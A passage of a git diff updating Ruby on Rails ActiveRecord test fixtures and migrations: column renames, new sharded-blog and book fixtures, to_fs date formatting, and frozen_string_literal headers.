+  id: 1
+
+sparrow:
+  id: 3
diff --git a/activerecord/test/fixtures/encrypted_book_that_ignores_cases.yml b/activerecord/test/fixtures/encrypted_book_that_ignores_cases.yml
new file mode 100644
index 0000000000000..f49ab03d92540
--- /dev/null
+++ b/activerecord/test/fixtures/encrypted_book_that_ignores_cases.yml
@@ -0,0 +1,4 @@
+rfr:
+  author_id: 1
+  name: "Ruby for Rails"
+  format: "ebook"
diff --git a/activerecord/test/fixtures/encrypted_books.yml b/activerecord/test/fixtures/encrypted_books.yml
new file mode 100644
index 0000000000000..eb9532b545fd6
--- /dev/null
+++ b/activerecord/test/fixtures/encrypted_books.yml
@@ -0,0 +1,4 @@
+awdr:
+  author_id: 1
+  name: "Agile Web Development with Rails"
+  format: "paperback"
diff --git a/activerecord/test/fixtures/essays.yml b/activerecord/test/fixtures/essays.yml
index 9d15d82359d62..be96dcacb3e5d 100644
--- a/activerecord/test/fixtures/essays.yml
+++ b/activerecord/test/fixtures/essays.yml
@@ -4,3 +4,13 @@ david_modest_proposal:
   writer_id: David
   category_id: General
   author_id: David
+
+mary_stay_home:
+  name: Stay Home
+  writer_type: Author
+  writer_id: Mary
+
+steve_connecting_the_dots:
+  name: Connecting The Dots
+  writer_type: Human
+  writer_id: Steve
diff --git a/activerecord/test/fixtures/faces.yml b/activerecord/test/fixtures/faces.yml
index c8e4a34484e82..b034f59c6a962 100644
--- a/activerecord/test/fixtures/faces.yml
+++ b/activerecord/test/fixtures/faces.yml
@@ -1,11 +1,11 @@
 trusting:
   description: trusting
-  man: gordon
+  human: gordon
 
 weather_beaten:
   description: weather beaten
-  man: steve
+  human: steve
 
 confused:
   description: confused
-  polymorphic_man: gordon (Man)
+  polymorphic_human: gordon (Human)
diff --git a/activerecord/test/fixtures/fk_object_to_point_to.yml b/activerecord/test/fixtures/fk_object_to_point_to.yml
new file mode 100644
index 0000000000000..c3ec5462093b0
--- /dev/null
+++ b/activerecord/test/fixtures/fk_object_to_point_to.yml
@@ -0,0 +1,2 @@
+first:
+  id: 1
diff --git a/activerecord/test/fixtures/men.yml b/activerecord/test/fixtures/humans.yml
similarity index 100%
rename from activerecord/test/fixtures/men.yml
rename to activerecord/test/fixtures/humans.yml
diff --git a/activerecord/test/fixtures/interests.yml b/activerecord/test/fixtures/interests.yml
index 9200a19d5a3d7..335e855dbc9c7 100644
--- a/activerecord/test/fixtures/interests.yml
+++ b/activerecord/test/fixtures/interests.yml
@@ -1,33 +1,33 @@
 trainspotting:
   topic: Trainspotting
   zine: staying_in
-  man: gordon
+  human: gordon
 
 birdwatching:
   topic: Birdwatching
   zine: staying_in
-  man: gordon
+  human: gordon
 
 stamp_collecting:
   topic: Stamp Collecting
   zine: staying_in
-  man: gordon
+  human: gordon
 
 hunting:
   topic: Hunting
   zine: going_out
-  man: steve
+  human: steve
 
 woodsmanship:
   topic: Woodsmanship
   zine: going_out
-  man: steve
+  human: steve
 
 survival:
   topic: Survival
   zine: going_out
-  man: steve
+  human: steve
 
 llama_wrangling:
   topic: Llama Wrangling
-  polymorphic_man: gordon (Man)
+  polymorphic_human: gordon (Human)
diff --git a/activerecord/test/fixtures/memberships.yml b/activerecord/test/fixtures/memberships.yml
index a5d52bd438068..d85fe9f11d81e 100644
--- a/activerecord/test/fixtures/memberships.yml
+++ b/activerecord/test/fixtures/memberships.yml
@@ -1,34 +1,41 @@
 membership_of_boring_club:
-  joined_on: <%= 3.weeks.ago.to_s(:db) %>
+  joined_on: <%= 3.weeks.ago.to_fs(:db) %>
   club: boring_club
   member_id: 1
-  favourite: false
+  favorite: false
   type: CurrentMembership
 
-membership_of_favourite_club:
-  joined_on: <%= 3.weeks.ago.to_s(:db) %>
+membership_of_favorite_club:
+  joined_on: <%= 3.weeks.ago.to_fs(:db) %>
   club: moustache_club
   member_id: 1
-  favourite: true
+  favorite: true
   type: Membership
 
 other_guys_membership:
-  joined_on: <%= 4.weeks.ago.to_s(:db) %>
+  joined_on: <%= 4.weeks.ago.to_fs(:db) %>
   club: boring_club
   member_id: 2
-  favourite: false
+  favorite: false
   type: CurrentMembership
 
-blarpy_winkup_crazy_club:
-  joined_on: <%= 4.weeks.ago.to_s(:db) %>
-  club: crazy_club
+blarpy_winkup_outrageous_club:
+  joined_on: <%= 4.weeks.ago.to_fs(:db) %>
+  club: outrageous_club
   member_id: 3
-  favourite: false
+  favorite: false
   type: CurrentMembership
 
+super_membership_of_boring_club:
+  joined_on: <%= 3.weeks.ago.to_fs(:db) %>
+  club: boring_club
+  member_id: 1
+  favorite: false
+  type: SuperMembership
+
 selected_membership_of_boring_club:
-  joined_on: <%= 3.weeks.ago.to_s(:db) %>
+  joined_on: <%= 3.weeks.ago.to_fs(:db) %>
   club: boring_club
   member_id: 1
-  favourite: false
+  favorite: false
   type: SelectedMembership
diff --git a/activerecord/test/fixtures/minimalistics.yml b/activerecord/test/fixtures/minimalistics.yml
index c3ec5462093b0..83df0551bc671 100644
--- a/activerecord/test/fixtures/minimalistics.yml
+++ b/activerecord/test/fixtures/minimalistics.yml
@@ -1,2 +1,5 @@
+zero:
+  id: 0
+
 first:
   id: 1
diff --git a/activerecord/test/fixtures/naked/yml/parrots.yml b/activerecord/test/fixtures/naked/yml/parrots.yml
index 3e10331105159..76f66e01ae786 100644
--- a/activerecord/test/fixtures/naked/yml/parrots.yml
+++ b/activerecord/test/fixtures/naked/yml/parrots.yml
@@ -1,2 +1,3 @@
 george:
   arrr: "Curious George"
+  foobar: Foobar
diff --git a/activerecord/test/fixtures/other_books.yml b/activerecord/test/fixtures/other_books.yml
new file mode 100644
index 0000000000000..62806c03d7ec3
--- /dev/null
+++ b/activerecord/test/fixtures/other_books.yml
@@ -0,0 +1,26 @@
+_fixture:
+  model_class: Book
+  ignore:
+    - PUBLISHED
+    - PUBLISHED_PAPERBACK
+    - PUBLISHED_EBOOK
+
+PUBLISHED: &PUBLISHED
+  status: :published
+
+PUBLISHED_PAPERBACK: &PUBLISHED_PAPERBACK
+  <<: *PUBLISHED
+  format: "paperback"
+  language: :english
+
+PUBLISHED_EBOOK: &PUBLISHED_EBOOK
+  <<: *PUBLISHED
+  format: "ebook"
+
+awdr:
+  <<: *PUBLISHED_PAPERBACK
+  name: "Agile Web Development with Rails"
+
+rfr:
+  <<: *PUBLISHED_EBOOK
+  name: "Ruby for Rails"
diff --git a/activerecord/test/fixtures/other_posts.yml b/activerecord/test/fixtures/other_posts.yml
index 39ff76354781f..4290b85016dc2 100644
--- a/activerecord/test/fixtures/other_posts.yml
+++ b/activerecord/test/fixtures/other_posts.yml
@@ -5,3 +5,4 @@ second_welcome:
   author_id: 1
   title: Welcome to the another weblog
   body: It's really nice today
+  legacy_comments_count: 1
diff --git a/activerecord/test/fixtures/paragraphs.yml b/activerecord/test/fixtures/paragraphs.yml
new file mode 100644
index 0000000000000..3789f04710d84
--- /dev/null
+++ b/activerecord/test/fixtures/paragraphs.yml
@@ -0,0 +1,5 @@
+<% 1001.times do |i| %>
+fixture_no_<%= i %>:
+  id: <%= i %>
+  book_id: <%= i*i %>
+<% end %>
diff --git a/activerecord/test/fixtures/parrots.yml b/activerecord/test/fixtures/parrots.yml
index 8425ef98e089c..bf4296a03eaa0 100644
--- a/activerecord/test/fixtures/parrots.yml
+++ b/activerecord/test/fixtures/parrots.yml
@@ -1,27 +1,37 @@
+_fixture:
+  ignore: DEAD_PARROT
+
+DEAD_PARROT: &DEAD_PARROT
+  parrot_sti_class: DeadParrot
+
 george:
   name: "Curious George"
   treasures: diamond, sapphire
   parrot_sti_class: LiveParrot
+  breed: australian
 
 louis:
   name: "King Louis"
   treasures: [diamond, sapphire]
   parrot_sti_class: LiveParrot
+  breed: african
 
 frederick:
   name: $LABEL
   parrot_sti_class: LiveParrot
+  breed: african
 
 polly:
   id: 4
   name: $LABEL
   killer: blackbeard
   treasures: sapphire, ruby
-  parrot_sti_class: DeadParrot
+  <<: *DEAD_PARROT
 
 DEFAULTS: &DEFAULTS
   treasures: sapphire, ruby
   parrot_sti_class: LiveParrot
+  breed: australian
 
 davey:
   *DEFAULTS
diff --git a/activerecord/test/fixtures/people.yml b/activerecord/test/fixtures/people.yml
index 0ec05e8d56e28..2c5573e3485e0 100644
--- a/activerecord/test/fixtures/people.yml
+++ b/activerecord/test/fixtures/people.yml
@@ -6,6 +6,7 @@ michael:
   gender: M
   followers_count: 1
   friends_too_count: 1
+  cars_count: 1
 david:
   id: 2
   first_name: David
@@ -14,6 +15,7 @@ david:
   gender: M
   followers_count: 1
   friends_too_count: 1
+  cars_count: 1
 susan:
   id: 3
   first_name: Susan
diff --git a/activerecord/test/fixtures/pirates.yml b/activerecord/test/fixtures/pirates.yml
index 0b1a78585312d..8a413b8948f61 100644
--- a/activerecord/test/fixtures/pirates.yml
+++ b/activerecord/test/fixtures/pirates.yml
@@ -5,8 +5,8 @@ blackbeard:
 redbeard:
   catchphrase: "Avast!"
   parrot: louis
-  created_on: "<%= 2.weeks.ago.to_s(:db) %>"
-  updated_on: "<%= 2.weeks.ago.to_s(:db) %>"
+  created_on: "<%= 2.weeks.ago.to_fs(:db) %>"
+  updated_on: "<%= 2.weeks.ago.to_fs(:db) %>"
 
 mark:
   catchphrase: "X $LABELs the spot!"
diff --git a/activerecord/test/fixtures/posts.yml b/activerecord/test/fixtures/posts.yml
index 86d46f753abce..b1856cd097c08 100644
--- a/activerecord/test/fixtures/posts.yml
+++ b/activerecord/test/fixtures/posts.yml
@@ -3,7 +3,7 @@ welcome:
   author_id: 1
   title: Welcome to the weblog
   body: Such a lovely day
-  comments_count: 2
+  legacy_comments_count: 2
   tags_count: 1
   type: Post
 
@@ -12,7 +12,7 @@ thinking:
   author_id: 1
   title: So I was thinking
   body: Like I hopefully always am
-  comments_count: 1
+  legacy_comments_count: 1
   tags_count: 1
   type: SpecialPost
 
@@ -28,6 +28,7 @@ sti_comments:
   author_id: 1
   title: sti comments
   body: hello
+  legacy_comments_count: 5
   type: Post
 
 sti_post_and_comments:
@@ -35,6 +36,7 @@ sti_post_and_comments:
   author_id: 1
   title: sti me
   body: hello
+  legacy_comments_count: 2
   type: StiPost
 
 sti_habtm:
@@ -50,6 +52,8 @@ eager_other:
   title: eager loading with OR'd conditions
   body: hello
   type: Post
+  legacy_comments_count: 1
+  tags_count: 3
 
 misc_by_bob:
   id: 8
@@ -57,13 +61,15 @@ misc_by_bob:
   title: misc post by bob
   body: hello
   type: Post
+  tags_count: 1
 
 misc_by_mary:
   id: 9
   author_id: 2
   title: misc post by mary
-  body: hello
+  body: hullo
   type: Post
+  tags_count: 1
 
 other_by_bob:
   id: 10
@@ -71,6 +77,7 @@ other_by_bob:
   title: other post by bob
   body: hello
   type: Post
+  tags_count: 1
 
 other_by_mary:
   id: 11
@@ -78,3 +85,4 @@ other_by_mary:
   title: other post by mary
   body: hello
   type: Post
+  tags_count: 1
diff --git a/activerecord/test/fixtures/primary_key_error/primary_key_error.yml b/activerecord/test/fixtures/primary_key_error/primary_key_error.yml
new file mode 100644
index 0000000000000..b5edcec4aced1
--- /dev/null
+++ b/activerecord/test/fixtures/primary_key_error/primary_key_error.yml
@@ -0,0 +1,6 @@
+_fixture:
+  model_class: Author
+
+david:
+  name: David
+  owned_essay: a_modest_proposal
diff --git a/activerecord/test/fixtures/readers.yml b/activerecord/test/fixtures/readers.yml
index 14b883f041046..246d94ffaa220 100644
--- a/activerecord/test/fixtures/readers.yml
+++ b/activerecord/test/fixtures/readers.yml
@@ -9,3 +9,9 @@ michael_authorless:
   post_id: 3
   person_id: 1
   first_post_id: 3
+
+bob_welcome:
+  id: 3
+  post_id: 8
+  person_id: 4
+  first_post_id: 10
diff --git a/activerecord/test/fixtures/references.yml b/activerecord/test/fixtures/references.yml
index 8e3953e91611e..34dbdea4d3e64 100644
--- a/activerecord/test/fixtures/references.yml
+++ b/activerecord/test/fixtures/references.yml
@@ -2,16 +2,16 @@ michael_magician:
   id: 1
   person_id: 1
   job_id: 3
-  favourite: false
+  favorite: false
 
 michael_unicyclist:
   id: 2
   person_id: 1
   job_id: 1
-  favourite: true
+  favorite: true
 
 david_unicyclist:
   id: 3
   person_id: 2
   job_id: 1
-  favourite: false
+  favorite: false
diff --git a/activerecord/test/fixtures/reserved_words/values.yml b/activerecord/test/fixtures/reserved_words/values.yml
index 7d109609ab81b..9ed9e5edc552d 100644
--- a/activerecord/test/fixtures/reserved_words/values.yml
+++ b/activerecord/test/fixtures/reserved_words/values.yml
@@ -1,7 +1,7 @@
 values1:
-  id: 1
+  as: 1
   group_id: 2
 
 values2:
-  id: 2
+  as: 2
   group_id: 1
diff --git a/activerecord/test/fixtures/sharded_blog_posts.yml b/activerecord/test/fixtures/sharded_blog_posts.yml
new file mode 100644
index 0000000000000..4370edbfefb3d
--- /dev/null
+++ b/activerecord/test/fixtures/sharded_blog_posts.yml
@@ -0,0 +1,14 @@
+_fixture:
+  model_class: Sharded::BlogPost
+
+great_post_blog_one:
+  title: "My first post in my Blog1!"
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+second_post_blog_one:
+  title: "This is my second post in my Blog1!"
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+great_post_blog_two:
+  title: "My first post in my Blog2!"
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_two) %>
diff --git a/activerecord/test/fixtures/sharded_blog_posts_tags.yml b/activerecord/test/fixtures/sharded_blog_posts_tags.yml
new file mode 100644
index 0000000000000..3e5214c8a6231
--- /dev/null
+++ b/activerecord/test/fixtures/sharded_blog_posts_tags.yml
@@ -0,0 +1,27 @@
+_fixture:
+  model_class: Sharded::BlogPostTag
+
+short_read_first_post_blog_one:
+  tag_id: <%= ActiveRecord::FixtureSet.identify(:short_read_blog_one) %>
+  blog_post_id: <%= ActiveRecord::FixtureSet.identify(:great_post_blog_one) %>
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+technical_content_first_post_blog_one:
+  tag_id: <%= ActiveRecord::FixtureSet.identify(:technical_blog_one) %>
+  blog_post_id: <%= ActiveRecord::FixtureSet.identify(:great_post_blog_one) %>
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+short_read_second_post_blog_one:
+  tag_id: <%= ActiveRecord::FixtureSet.identify(:short_read_blog_one) %>
+  blog_post_id: <%= ActiveRecord::FixtureSet.identify(:second_post_blog_one) %>
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+beginner_content_first_post_blog_two:
+  tag_id: <%= ActiveRecord::FixtureSet.identify(:beginner_blog_two) %>
+  blog_post_id: <%= ActiveRecord::FixtureSet.identify(:great_post_blog_two) %>
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_two) %>
+
+short_read_first_post_blog_two:
+  tag_id: <%= ActiveRecord::FixtureSet.identify(:short_read_blog_two) %>
+  blog_post_id: <%= ActiveRecord::FixtureSet.identify(:great_post_blog_two) %>
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_two) %>
diff --git a/activerecord/test/fixtures/sharded_blogs.yml b/activerecord/test/fixtures/sharded_blogs.yml
new file mode 100644
index 0000000000000..3e209ecca65fa
--- /dev/null
+++ b/activerecord/test/fixtures/sharded_blogs.yml
@@ -0,0 +1,8 @@
+_fixture:
+  model_class: Sharded::Blog
+
+sharded_blog_one:
+  name: "Blog One"
+
+sharded_blog_two:
+  name: "Blog two"
diff --git a/activerecord/test/fixtures/sharded_comments.yml b/activerecord/test/fixtures/sharded_comments.yml
new file mode 100644
index 0000000000000..4601b73886d79
--- /dev/null
+++ b/activerecord/test/fixtures/sharded_comments.yml
@@ -0,0 +1,22 @@
+_fixture:
+  model_class: Sharded::Comment
+
+great_comment_blog_post_one:
+  body: "I really enjoyed the post!"
+  blog_post_id: <%= ActiveRecord::FixtureSet.identify(:great_post_blog_one) %>
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+wow_comment_blog_post_one:
+  body: "Wow!"
+  blog_post_id: <%= ActiveRecord::FixtureSet.identify(:great_post_blog_one) %>
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+unique_comment_blog_post_one:
+  body: "Your first blog post is great!"
+  blog_post_id: <%= ActiveRecord::FixtureSet.identify(:great_post_blog_one) %>
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+great_comment_blog_post_two:
+  body: "I really enjoyed the post!"
+  blog_post_id: <%= ActiveRecord::FixtureSet.identify(:great_post_blog_two) %>
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_two) %>
diff --git a/activerecord/test/fixtures/sharded_tags.yml b/activerecord/test/fixtures/sharded_tags.yml
new file mode 100644
index 0000000000000..0439dfb7a0c5c
--- /dev/null
+++ b/activerecord/test/fixtures/sharded_tags.yml
@@ -0,0 +1,34 @@
+_fixture:
+  model_class: Sharded::Tag
+
+short_read_blog_one:
+  name: "short read"
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+long_read_blog_one:
+  name: "long read"
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+technical_blog_one:
+  name: "tech"
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+time_management_blog_one:
+  name: "time management"
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_one) %>
+
+beginner_blog_two:
+  name: "for beginners"
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_two) %>
+
+intermediate_blog_two:
+  name: "for intermediate"
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_two) %>
+
+short_read_blog_two:
+  name: "short read"
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_two) %>
+
+breaking_news_blog_2:
+  name: "breaking news"
+  blog_id: <%= ActiveRecord::FixtureSet.identify(:sharded_blog_two) %>
diff --git a/activerecord/test/fixtures/sponsors.yml b/activerecord/test/fixtures/sponsors.yml
index 2da541c539680..62fb174250c55 100644
--- a/activerecord/test/fixtures/sponsors.yml
+++ b/activerecord/test/fixtures/sponsors.yml
@@ -6,7 +6,10 @@ boring_club_sponsor_for_groucho:
   sponsor_club: boring_club
   sponsorable_id: 2
   sponsorable_type: Member
-crazy_club_sponsor_for_groucho:
-  sponsor_club: crazy_club
+outrageous_club_sponsor_for_groucho:
+  sponsor_club: outrageous_club
   sponsorable_id: 3
   sponsorable_type: Member
+sponsor_for_author_david:
+  sponsorable_id: 1
+  sponsorable_type: Author
diff --git a/activerecord/test/fixtures/strict_zines.yml b/activerecord/test/fixtures/strict_zines.yml
new file mode 100644
index 0000000000000..167b3f8bbd279
--- /dev/null
+++ b/activerecord/test/fixtures/strict_zines.yml
@@ -0,0 +1,2 @@
+going_out:
+  title: Hello
diff --git a/activerecord/test/fixtures/tasks.yml b/activerecord/test/fixtures/tasks.yml
index c38b32b0e5975..c4e94e1e5ac01 100644
--- a/activerecord/test/fixtures/tasks.yml
+++ b/activerecord/test/fixtures/tasks.yml
@@ -1,4 +1,4 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
+# Read about fixtures at https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
 first_task:
   id: 1
   starting: 2005-03-30t06:30:00.00+01:00
diff --git a/activerecord/test/fixtures/teapots.yml b/activerecord/test/fixtures/teapots.yml
deleted file mode 100644
index ff515beb45271..0000000000000
--- a/activerecord/test/fixtures/teapots.yml
+++ /dev/null
@@ -1,3 +0,0 @@
-bob:
-  id: 1
-  name: Bob
diff --git a/activerecord/test/fixtures/topics.yml b/activerecord/test/fixtures/topics.yml
index 4c98b103801e9..8b9915db90b64 100644
--- a/activerecord/test/fixtures/topics.yml
+++ b/activerecord/test/fixtures/topics.yml
@@ -47,3 +47,4 @@ fifth:
   written_on: 2013-07-13t12:11:00.0099+01:00
   content: "--- Omakase\n...\n"
   approved: true
+
diff --git a/activerecord/test/fixtures/treasures.yml b/activerecord/test/fixtures/treasures.yml
index 9db15798fd434..4d3d760f053f9 100644
--- a/activerecord/test/fixtures/treasures.yml
+++ b/activerecord/test/fixtures/treasures.yml
@@ -8,3 +8,7 @@ sapphire:
 ruby:
   name: $LABEL
   looter: louis (Parrot)
+
+emerald:
+  id: 1
+  name: $LABEL
diff --git a/activerecord/test/fixtures/virtual_columns.yml b/activerecord/test/fixtures/virtual_columns.yml
new file mode 100644
index 0000000000000..84f519bb14060
--- /dev/null
+++ b/activerecord/test/fixtures/virtual_columns.yml
@@ -0,0 +1,5 @@
+one:
+  name: hello
+
+two:
+  name: world
diff --git a/activerecord/test/migrations/10_urban/9_add_expressions.rb b/activerecord/test/migrations/10_urban/9_add_expressions.rb
index e908c9eabc888..4b0d5fb6fa53e 100644
--- a/activerecord/test/migrations/10_urban/9_add_expressions.rb
+++ b/activerecord/test/migrations/10_urban/9_add_expressions.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class AddExpressions < ActiveRecord::Migration::Current
   def self.up
     create_table("expressions") do |t|
diff --git a/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb b/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb
index 43c79bc20ba58..7d4233fe3125e 100644
--- a/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb
+++ b/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 class GiveMeBigNumbers < ActiveRecord::Migration::Current
   def self.up
     create_table :big_numbers do |table|
       table.column :bank_balance, :decimal, precision: 10, scale: 2
       table.column :big_bank_balance, :decimal, precision: 15, scale: 2
-      table.column :world_population, :decimal, precision: 10
+      table.column :world_population, :decimal, precision: 20
       table.column :my_house_population, :decimal, precision: 2
       table.column :value_of_e, :decimal
     end
diff --git a/activerecord/test/migrations/empty/.keep b/activerecord/test/migrations/empty/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/activerecord/test/migrations/magic/1_currencies_have_symbols.rb b/activerecord/test/migrations/magic/1_currencies_have_symbols.rb
index d4b0e6cd954bf..2ba28757510aa 100644
--- a/activerecord/test/migrations/magic/1_currencies_have_symbols.rb
+++ b/activerecord/test/migrations/magic/1_currencies_have_symbols.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: true
 # coding: ISO-8859-15
 
 class CurrenciesHaveSymbols < ActiveRecord::Migration::Current
diff --git a/activerecord/test/migrations/missing/1000_people_have_middle_names.rb b/activerecord/test/migrations/missing/1000_people_have_middle_names.rb
index e046944e31467..d3c9b127fb4fd 100644
--- a/activerecord/test/migrations/missing/1000_people_have_middle_names.rb
+++ b/activerecord/test/migrations/missing/1000_people_have_middle_names.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class PeopleHaveMiddleNames < ActiveRecord::Migration::Current
   def self.up
     add_column "people", "middle_name", :string
diff --git a/activerecord/test/migrations/missing/1_people_have_last_names.rb b/activerecord/test/migrations/missing/1_people_have_last_names.rb
index 50fe2a9c8e17d..bd5f5ea11eb08 100644
--- a/activerecord/test/migrations/missing/1_people_have_last_names.rb
+++ b/activerecord/test/migrations/missing/1_people_have_last_names.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class PeopleHaveLastNames < ActiveRecord::Migration::Current
   def self.up
     add_column "people", "last_name", :string
diff --git a/activerecord/test/migrations/missing/3_we_need_reminders.rb b/activerecord/test/migrations/missing/3_we_need_reminders.rb
index d7c63ac892fc4..4647268c6e78b 100644
--- a/activerecord/test/migrations/missing/3_we_need_reminders.rb
+++ b/activerecord/test/migrations/missing/3_we_need_reminders.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class WeNeedReminders < ActiveRecord::Migration::Current
   def self.up
     create_table("reminders") do |t|
diff --git a/activerecord/test/migrations/missing/4_innocent_jointable.rb b/activerecord/test/migrations/missing/4_innocent_jointable.rb
index bd3bf21576461..8063bc0558913 100644
--- a/activerecord/test/migrations/missing/4_innocent_jointable.rb
+++ b/activerecord/test/migrations/missing/4_innocent_jointable.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class InnocentJointable < ActiveRecord::Migration::Current
   def self.up
     create_table("people_reminders", id: false) do |t|
diff --git a/activerecord/test/migrations/old_and_new_versions/20210716122844_add_people_description.rb b/activerecord/test/migrations/old_and_new_versions/20210716122844_add_people_description.rb
new file mode 100644
index 0000000000000..6de72ce31e910
--- /dev/null
+++ b/activerecord/test/migrations/old_and_new_versions/20210716122844_add_people_description.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class AddPeopleDescription < ActiveRecord::Migration::Current
+  add_column :people, :description, :string
+end
diff --git a/activerecord/test/migrations/old_and_new_versions/20210716123013_add_people_number_of_legs.rb b/activerecord/test/migrations/old_and_new_versions/20210716123013_add_people_number_of_legs.rb
new file mode 100644
index 0000000000000..61fe81ee544b4
--- /dev/null
+++ b/activerecord/test/migrations/old_and_new_versions/20210716123013_add_people_number_of_legs.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class AddPeopleNumberOfLegs < ActiveRecord::Migration::Current
+  add_column :people, :number_of_legs, :integer
+end
diff --git a/activerecord/test/migrations/old_and_new_versions/230_add_people_hobby.rb b/activerecord/test/migrations/old_and_new_versions/230_add_people_hobby.rb
new file mode 100644
index 0000000000000..4fc022ece77d5
--- /dev/null
+++ b/activerecord/test/migrations/old_and_new_versions/230_add_people_hobby.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class AddPeopleHobby < ActiveRecord::Migration::Current
+  add_column :people, :hobby, :string
+end
diff --git a/activerecord/test/migrations/old_and_new_versions/231_add_people_last_name.rb b/activerecord/test/migrations/old_and_new_versions/231_add_people_last_name.rb
new file mode 100644
index 0000000000000..0bfa59f5b1292
--- /dev/null
+++ b/activerecord/test/migrations/old_and_new_versions/231_add_people_last_name.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class AddPeopleLastName < ActiveRecord::Migration::Current
+  add_column :people, :last_name, :string
+end
diff --git a/activerecord/test/migrations/rename/1_we_need_things.rb b/activerecord/test/migrations/rename/1_we_need_things.rb
index 9dce01acfda4b..8e71a1d996d77 100644
--- a/activerecord/test/migrations/rename/1_we_need_things.rb
+++ b/activerecord/test/migrations/rename/1_we_need_things.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class WeNeedThings < ActiveRecord::Migration::Current
   def self.up
     create_table("things") do |t|
diff --git a/activerecord/test/migrations/rename/2_rename_things.rb b/activerecord/test/migrations/rename/2_rename_things.rb
index cb8484e7dcd50..110fe3f0fa7c2 100644
--- a/activerecord/test/migrations/rename/2_rename_things.rb
+++ b/activerecord/test/migrations/rename/2_rename_things.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class RenameThings < ActiveRecord::Migration::Current
   def self.up
     rename_table "things", "awesome_things"
diff --git a/activerecord/test/migrations/scope/1_unscoped.rb b/activerecord/test/migrations/scope/1_unscoped.rb
new file mode 100644
index 0000000000000..9437cd278fe6e
--- /dev/null
+++ b/activerecord/test/migrations/scope/1_unscoped.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Unscoped < ActiveRecord::Migration::Current
+  def self.change
+    create_table "unscoped"
+  end
+end
diff --git a/activerecord/test/migrations/scope/2_mysql_only.mysql.rb b/activerecord/test/migrations/scope/2_mysql_only.mysql.rb
new file mode 100644
index 0000000000000..d038f38b1113e
--- /dev/null
+++ b/activerecord/test/migrations/scope/2_mysql_only.mysql.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class MysqlOnly < ActiveRecord::Migration::Current
+  def self.change
+    create_table "mysql_only"
+  end
+end
diff --git a/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb b/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb
index 76734bcd7d62a..badccf65ccb39 100644
--- a/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb
+++ b/activerecord/test/migrations/to_copy/1_people_have_hobbies.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class PeopleHaveHobbies < ActiveRecord::Migration::Current
   def self.up
     add_column "people", "hobbies", :text
diff --git a/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb b/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb
index 7f883dbb45914..1d19d5d6f406e 100644
--- a/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb
+++ b/activerecord/test/migrations/to_copy/2_people_have_descriptions.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class PeopleHaveDescriptions < ActiveRecord::Migration::Current
   def self.up
     add_column "people", "description", :text
diff --git a/activerecord/test/migrations/to_copy2/1_create_articles.rb b/activerecord/test/migrations/to_copy2/1_create_articles.rb
index 2e9f5ec6bc075..85c166b3191a9 100644
--- a/activerecord/test/migrations/to_copy2/1_create_articles.rb
+++ b/activerecord/test/migrations/to_copy2/1_create_articles.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class CreateArticles < ActiveRecord::Migration::Current
   def self.up
   end
diff --git a/activerecord/test/migrations/to_copy2/2_create_comments.rb b/activerecord/test/migrations/to_copy2/2_create_comments.rb
index d361847d4b291..1d213a17055f2 100644
--- a/activerecord/test/migrations/to_copy2/2_create_comments.rb
+++ b/activerecord/test/migrations/to_copy2/2_create_comments.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class CreateComments < ActiveRecord::Migration::Current
   def self.up
   end
